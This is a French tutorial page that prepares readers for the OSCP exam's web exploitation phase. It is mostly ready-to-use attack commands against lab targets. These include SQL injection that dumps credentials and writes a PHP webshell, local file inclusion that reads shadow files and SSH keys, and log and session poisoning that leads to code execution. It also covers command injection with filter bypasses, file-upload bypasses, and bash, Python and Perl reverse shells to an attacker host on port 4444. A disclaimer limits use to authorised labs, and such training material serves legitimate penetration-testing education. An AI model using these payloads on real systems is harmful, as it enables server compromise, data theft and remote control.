ITSkillsCenter
Cybersécurité

Exploitation web pour l’OSCP : SQLi, LFI et RCE — commandes et payloads pas-à-pas

14 min de lecture

Avertissement légal : toutes les techniques présentées sont à appliquer exclusivement sur des applications web dans des environnements de test autorisés — labs OffSec PEN-200, machines CTF, environnements de staging avec autorisation écrite. Toute exploitation d’une application en production sans autorisation est illégale.

La phase d’exploitation web dans l’OSCP commence après l’énumération (Gobuster, Nikto, wfuzz). Ce tutoriel couvre les quatre vecteurs les plus fréquents dans le PEN-200 : injection SQL, Local File Inclusion, injection de commandes, et upload de fichier — de la détection au shell.

1. Reconnaissance web initiale

Étape 1 — Identifier la stack technologique

# WhatWeb — détecte CMS, framework, serveur web, langages
whatweb http://10.10.10.x/
# WEBrick, WordPress 6.x, PHP 8.x, Apache 2.4...

# Wappalyzer (extension navigateur) — alternative graphique

# Headers HTTP — version serveur, cookies, framework
curl -I http://10.10.10.x/
# Server: Apache/2.4.41
# X-Powered-By: PHP/7.4.3
# Set-Cookie: PHPSESSID=...; path=/

Étape 2 — Énumération des répertoires et fichiers

# Gobuster — répertoires et fichiers
gobuster dir -u http://10.10.10.x -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
  -x php,txt,html,bak,zip,sql -t 40

# ffuf — plus rapide, filtrage avancé
ffuf -u http://10.10.10.x/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -mc 200,301,302,403 -t 50

# Nikto — scan de vulnérabilités web connues
nikto -h http://10.10.10.x/ -C all 2>/dev/null

Étape 3 — Énumération des paramètres et formulaires

# Burp Suite — proxy et intruder (indispensable pour les exams avec appli web)
# Configurer Firefox : Proxy → Manual → 127.0.0.1:8080

# curl — tester manuellement les paramètres GET/POST
curl "http://10.10.10.x/page.php?id=1"
curl -X POST -d "username=admin&password=test" http://10.10.10.x/login.php -v

# wfuzz — fuzzing de paramètres
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  --hc 404 "http://10.10.10.x/page.php?FUZZ=test"

2. SQLi manuelle — détection et exploitation

Étape 1 — Détecter l’injection SQL

# Dans un paramètre GET/POST/Cookie, tester :
?id=1'          → erreur SQL ou comportement différent = potentiellement vulnérable
?id=1--         → commenter la suite de la requête
?id=1' OR '1'='1    → toujours vrai
?id=1' AND '1'='2   → toujours faux (page vide ou différente)

# Exemple avec curl
curl "http://10.10.10.x/item.php?id=1'"
# You have an error in your SQL syntax...  ← VULNÉRABLE
curl "http://10.10.10.x/item.php?id=1 AND 1=1-- -"  # page normale
curl "http://10.10.10.x/item.php?id=1 AND 1=2-- -"  # page vide

Étape 2 — Trouver le nombre de colonnes (ORDER BY)

# Augmenter jusqu'à obtenir une erreur
?id=1 ORDER BY 1-- -   → OK
?id=1 ORDER BY 2-- -   → OK
?id=1 ORDER BY 3-- -   → OK
?id=1 ORDER BY 4-- -   → ERREUR → 3 colonnes dans la requête

Étape 3 — UNION SELECT pour extraire des données

# Trouver quelle colonne est affichée (visible dans la page)
?id=-1 UNION SELECT 1,2,3-- -
# Si "2" apparaît dans la page → la 2ème colonne est affichée

# Extraire la version et la base de données
?id=-1 UNION SELECT 1,version(),database()-- -
# → 10.3.27-MariaDB | webapp

# Lister toutes les bases de données
?id=-1 UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata-- -

# Lister les tables de la base "webapp"
?id=-1 UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='webapp'-- -
# → users,products,orders

# Lister les colonnes de la table "users"
?id=-1 UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -
# → id,username,password,email

# Extraire les données
?id=-1 UNION SELECT 1,group_concat(username,':',password SEPARATOR '\n'),3 FROM users-- -
# → admin:$2y$10$abc..., bob:plaintext123

Étape 4 — SQLi vers lecture de fichiers (si FILE privilege)

# Lire /etc/passwd
?id=-1 UNION SELECT 1,load_file('/etc/passwd'),3-- -

# Lire le code source de l'application
?id=-1 UNION SELECT 1,load_file('/var/www/html/config.php'),3-- -
# → credentials DB en clair dans le code source

Étape 5 — SQLi vers écriture de webshell (INTO OUTFILE)

# Prérequis : FILE privilege + répertoire web writable
# Vérifier le chemin web
?id=-1 UNION SELECT 1,@@datadir,3-- -
# → /var/lib/mysql/

# Écrire un webshell PHP
?id=-1 UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'-- -

# Vérifier et utiliser
curl "http://10.10.10.x/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data)

3. SQLmap — automatisation SQLi

SQLmap automatise la détection et l’exploitation des injections SQL. À utiliser après confirmation manuelle qu’un paramètre est vulnérable.

Étape 1 — Détection automatique

# Paramètre GET
sqlmap -u "http://10.10.10.x/item.php?id=1" --dbs --batch

# Paramètre POST
sqlmap -u "http://10.10.10.x/login.php" \
  --data="username=admin&password=test" --dbs --batch

# Via un fichier de requête Burp (Request → Save item)
sqlmap -r request.txt --dbs --batch

# Options importantes :
# --batch    : répondre "yes" à toutes les questions automatiquement
# --dbs      : lister les bases de données
# --level=5  : tests plus agressifs (1-5)
# --risk=3   : risque d'erreur plus élevé (1-3)

Étape 2 — Extraire des données

# Lister les tables d'une base
sqlmap -u "http://10.10.10.x/item.php?id=1" -D webapp --tables --batch

# Extraire le contenu d'une table
sqlmap -u "http://10.10.10.x/item.php?id=1" -D webapp -T users --dump --batch

# Extraire uniquement certaines colonnes
sqlmap -u "http://10.10.10.x/item.php?id=1" \
  -D webapp -T users -C username,password --dump --batch

Étape 3 — Shell via sqlmap

# Webshell interactif (si INTO OUTFILE est disponible)
sqlmap -u "http://10.10.10.x/item.php?id=1" --os-shell --batch
# sqlmap dépose automatiquement un webshell et ouvre un shell interactif

# Shell système via --os-cmd
sqlmap -u "http://10.10.10.x/item.php?id=1" --os-cmd="id" --batch

4. LFI — Local File Inclusion

Une LFI permet d’inclure un fichier arbitraire du serveur dans la réponse HTTP. Elle révèle des fichiers sensibles et peut mener à un RCE via plusieurs techniques.

Étape 1 — Détecter la LFI

# Paramètre typique
http://10.10.10.x/page.php?file=about
http://10.10.10.x/index.php?page=home
http://10.10.10.x/view.php?path=docs/manual

# Tester avec /etc/passwd
curl "http://10.10.10.x/page.php?file=../../../../etc/passwd"
# root:x:0:0:root:/root:/bin/bash → VULNÉRABLE

# Path traversal variantes
curl "http://10.10.10.x/page.php?file=....//....//....//etc/passwd"
curl "http://10.10.10.x/page.php?file=%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd"  # URL encoded
curl "http://10.10.10.x/page.php?file=php://filter/convert.base64-encode/resource=/etc/passwd"

Étape 2 — Fichiers intéressants à lire via LFI

# Linux — fichiers sensibles
../../../../etc/passwd
../../../../etc/shadow                          # si www-data peut le lire
../../../../etc/ssh/sshd_config
../../../../home/user/.ssh/id_rsa              # clé SSH privée
../../../../var/www/html/config.php            # credentials DB
../../../../var/www/html/wp-config.php         # WordPress credentials
../../../../proc/self/environ                  # variables d'environnement
../../../../var/log/apache2/access.log         # log Apache (→ log poisoning)
../../../../var/log/nginx/access.log           # log Nginx
../../../../var/log/auth.log                   # SSH login attempts

# Windows — fichiers sensibles
..\..\..\..\Windows\System32\drivers\etc\hosts
..\..\..\..\Windows\win.ini
..\..\..\..\inetpub\wwwroot\web.config
..\..\..\..\xampp\htdocs\config.php

Étape 3 — Fuzzing LFI avec wfuzz

wfuzz -c -z file,/usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt \
  --hc 404 --hl 0 \
  "http://10.10.10.x/page.php?file=FUZZ"

5. LFI vers RCE

Technique 1 — Log Poisoning (Apache/Nginx)

# Étape 1 — Vérifier que le log est lisible
curl "http://10.10.10.x/page.php?file=../../../../var/log/apache2/access.log"
# Si la réponse contient des lignes de log → lisible

# Étape 2 — Injecter un webshell dans le User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://10.10.10.x/
# Le User-Agent est logué dans access.log

# Étape 3 — Inclure le log avec le paramètre cmd
curl "http://10.10.10.x/page.php?file=../../../../var/log/apache2/access.log&cmd=id"
# uid=33(www-data)...

Technique 2 — PHP Wrappers

# Lire du code source PHP encodé en base64 (évite l'exécution)
curl "http://10.10.10.x/page.php?file=php://filter/convert.base64-encode/resource=config.php"
# → PD9waHAgJGRiX3Bhc3M9InN1cGVyc2VjcmV0IjsgPz4=
echo "PD9waHAgJGRiX3Bhc3M9InN1cGVyc2VjcmV0IjsgPz4=" | base64 -d
# → <?php $db_pass="supersecret"; ?>

# Exécuter du code PHP via data:// (si allow_url_include = On)
curl "http://10.10.10.x/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+"
# PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+ = <?php system($_GET['cmd']); ?>
curl "http://10.10.10.x/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&cmd=id"

Technique 3 — PHP Session Poisoning

# Étape 1 — Vérifier l'emplacement des sessions PHP
curl "http://10.10.10.x/page.php?file=../../../../etc/php/7.4/apache2/php.ini" | grep session.save_path
# session.save_path = "/var/lib/php/sessions"

# Étape 2 — Injecter du PHP dans une variable de session
# Se connecter avec un username qui contient du code PHP
curl -v -b "PHPSESSID=abc123" \
  -X POST -d "username=<?php system(\$_GET['cmd']); ?>" \
  http://10.10.10.x/login.php

# Étape 3 — Inclure le fichier de session
curl "http://10.10.10.x/page.php?file=../../../../var/lib/php/sessions/sess_abc123&cmd=id"

Technique 4 — /proc/self/fd poisoning

# Injecter PHP dans les headers et inclure le FD du log
# Généralement fd/2 (stderr) ou fd/1 (stdout) contient les logs
curl -H "User-Agent: <?php system(\$_GET['cmd']); ?>" http://10.10.10.x/
for fd in $(seq 0 20); do
  echo "Testing fd $fd:"
  curl -s "http://10.10.10.x/page.php?file=/proc/self/fd/$fd&cmd=id" | grep "uid="
done

6. Command Injection

Une application qui passe une entrée utilisateur directement à un appel système (system(), exec(), popen()) sans sanitisation est vulnérable à l’injection de commandes.

Étape 1 — Détecter l’injection de commandes

# Contexte typique : outil "ping" ou "nslookup" dans une appli web
# Formulaire : "Entrez une IP à pinger"
# Valeur soumise : 127.0.0.1

# Tester les séparateurs de commandes
127.0.0.1; id
127.0.0.1 && id
127.0.0.1 | id
127.0.0.1 || id
`id`          # backticks
$(id)         # command substitution

# URL encode si nécessaire
curl "http://10.10.10.x/ping.php?ip=127.0.0.1%3Bid"  # ; = %3B
curl "http://10.10.10.x/ping.php?ip=127.0.0.1%26%26id"  # && = %26%26

Étape 2 — Confirmer et obtenir un reverse shell

# Confirmer avec une requête DNS ou HTTP vers votre serveur
# Sur Kali — tcpdump pour capter le ping ICMP
sudo tcpdump -i tun0 icmp
curl "http://10.10.10.x/ping.php?ip=127.0.0.1;ping -c 1 10.10.14.x"

# Reverse shell bash
curl "http://10.10.10.x/ping.php?ip=127.0.0.1;bash -i >& /dev/tcp/10.10.14.x/4444 0>&1"

# URL-encoded
curl "http://10.10.10.x/ping.php" \
  --data-urlencode "ip=127.0.0.1;bash -i >& /dev/tcp/10.10.14.x/4444 0>&1"

Contournement des filtres courants

# Filtre sur les espaces → utiliser $IFS ou {,}
cat${IFS}/etc/passwd
{cat,/etc/passwd}

# Filtre sur les slash → utiliser $HOME
echo${IFS}$HOME

# Filtre sur les commandes → rotation de base64
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC54LzQ0NDQgMD4mMQ==" | base64 -d | bash
# = bash -i >& /dev/tcp/10.10.14.x/4444 0>&1

7. File Upload — bypass de filtres

Les applications qui permettent l’upload de fichiers sans validation stricte du type peuvent être exploitées pour déposer un webshell.

Étape 1 — Tester l’upload basique

# Créer un webshell PHP minimal
echo '<?php system($_GET["cmd"]); ?>' > shell.php

# Uploader et noter l'URL de stockage
# Tester : http://10.10.10.x/uploads/shell.php?cmd=id

Étape 2 — Bypass de filtre sur l’extension

# Extensions PHP alternatives selon la configuration du serveur
shell.php3
shell.php4
shell.php5
shell.php7
shell.phtml
shell.pht
shell.shtml

# Double extension
shell.php.jpg
shell.jpg.php

# Case sensitivity
shell.PHP
shell.PhP

# Null byte (anciennes versions PHP)
shell.php%00.jpg
shell.php\x00.jpg

Étape 3 — Bypass du filtre MIME type (Content-Type)

# Intercepter l'upload avec Burp Suite
# Modifier le Content-Type dans la requête HTTP
# Changer : application/x-php → image/jpeg

# Avec curl — forcer le content-type image
curl -X POST http://10.10.10.x/upload.php \
  -F "file=@shell.php;type=image/jpeg" \
  -b "PHPSESSID=votre_session"

Étape 4 — Bypass du filtre sur les magic bytes

# Ajouter les magic bytes d'une image JPEG en tête du fichier PHP
# JPEG magic bytes : FF D8 FF E0
printf '\xff\xd8\xff\xe0' > shell_img.php
echo '<?php system($_GET["cmd"]); ?>' >> shell_img.php

# Vérifier
file shell_img.php
# shell_img.php: JPEG image data...  ← bypass du contrôle file type

Étape 5 — Webshell dans les métadonnées d’image (exiftool)

# Injecter du PHP dans les métadonnées d'une vraie image
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell_meta.jpg

# Si le serveur renomme en .jpg mais l'exécute via include()
# http://10.10.10.x/view.php?file=uploads/shell_meta.jpg&cmd=id

Étape 6 — Upload de .htaccess pour forcer l’exécution PHP

# Si le répertoire d'upload accepte un .htaccess
echo 'AddType application/x-httpd-php .jpg' > .htaccess
# Uploader .htaccess dans le répertoire d'upload
# Ensuite uploader shell.jpg (avec code PHP dedans)
# Le serveur exécutera shell.jpg comme du PHP

8. Reverse shells web

Stabiliser un shell www-data après obtention initiale

# Sur Kali — listener
nc -lvnp 4444

# Payload dans le webshell ou la LFI
bash -i >& /dev/tcp/10.10.14.x/4444 0>&1

# Reverse shell Python
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.x",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'

# Reverse shell Perl
perl -e 'use Socket;$i="10.10.14.x";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'

Stabiliser le shell (TTY complet)

# Sur le shell nc obtenu — étape 1 (spawner un PTY)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# ou
script /dev/null -c bash

# Étape 2 — background + config terminal
# Ctrl+Z (met le shell nc en background)
stty raw -echo; fg
# Appuyer Entrée deux fois si besoin

# Étape 3 — corriger la taille du terminal
export TERM=xterm
export SHELL=/bin/bash
stty rows 38 cols 116  # adapter à votre terminal

Reverse shells Windows via webshell ASPX

# Générer un webshell ASPX
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.x LPORT=4444 \
  -f aspx -o shell.aspx

# Uploader sur le serveur IIS → http://10.10.10.x/shell.aspx
# Sur Kali
nc -lvnp 4444

Reverse shell PHP URL-encoded (pour injection via LFI)

# Version base64 pour éviter les mauvais caractères
php_shell='<?php system($_GET["cmd"]); ?>'
echo "$php_shell" | base64
# PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+

# Via data:// wrapper
curl "http://10.10.10.x/page.php?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+&cmd=id"

9. Checklist exam exploitation web

# Vérification Outils Priorité
1 Identifier la stack (CMS, framework, langage) whatweb, curl -I, Wappalyzer Haute
2 Énumérer les répertoires gobuster, ffuf Haute
3 Identifier les formulaires et paramètres Burp Suite, wfuzz Haute
4 Tester SQLi sur chaque paramètre Tests manuels + sqlmap Haute
5 Tester LFI sur les paramètres file/page/path curl, wfuzz LFI wordlist Haute
6 LFI → log poisoning si logs lisibles curl -A, access.log Moyenne
7 Tester command injection sur les outils réseau Séparateurs ; && | || Haute
8 File upload — bypass extension et MIME Burp Intercept, extensions PHP alternatives Haute
9 Nikto — vulnérabilités connues du serveur nikto -h Basse (automatique)
10 Stabiliser le shell obtenu python3 pty.spawn + stty raw Immédiate après shell

Payloads de référence rapide

Technique Payload de test rapide
SQLi détection ' puis ' OR '1'='1'-- -
LFI basique ../../../../etc/passwd
PHP source via wrapper php://filter/convert.base64-encode/resource=index
Command injection ; id puis ; ping -c 1 10.10.14.x
Reverse shell bash bash -i >& /dev/tcp/10.10.14.x/4444 0>&1
Webshell PHP minimal <?php system($_GET["cmd"]); ?>

Ressources et références


Prochaines étapes

Besoin d'un site web ?

Confiez-nous la Création de Votre Site Web

Site vitrine, e-commerce ou application web — nous transformons votre vision en réalité digitale. Accompagnement personnalisé de A à Z.

À partir de 250.000 FCFA
Parlons de Votre Projet
Publicité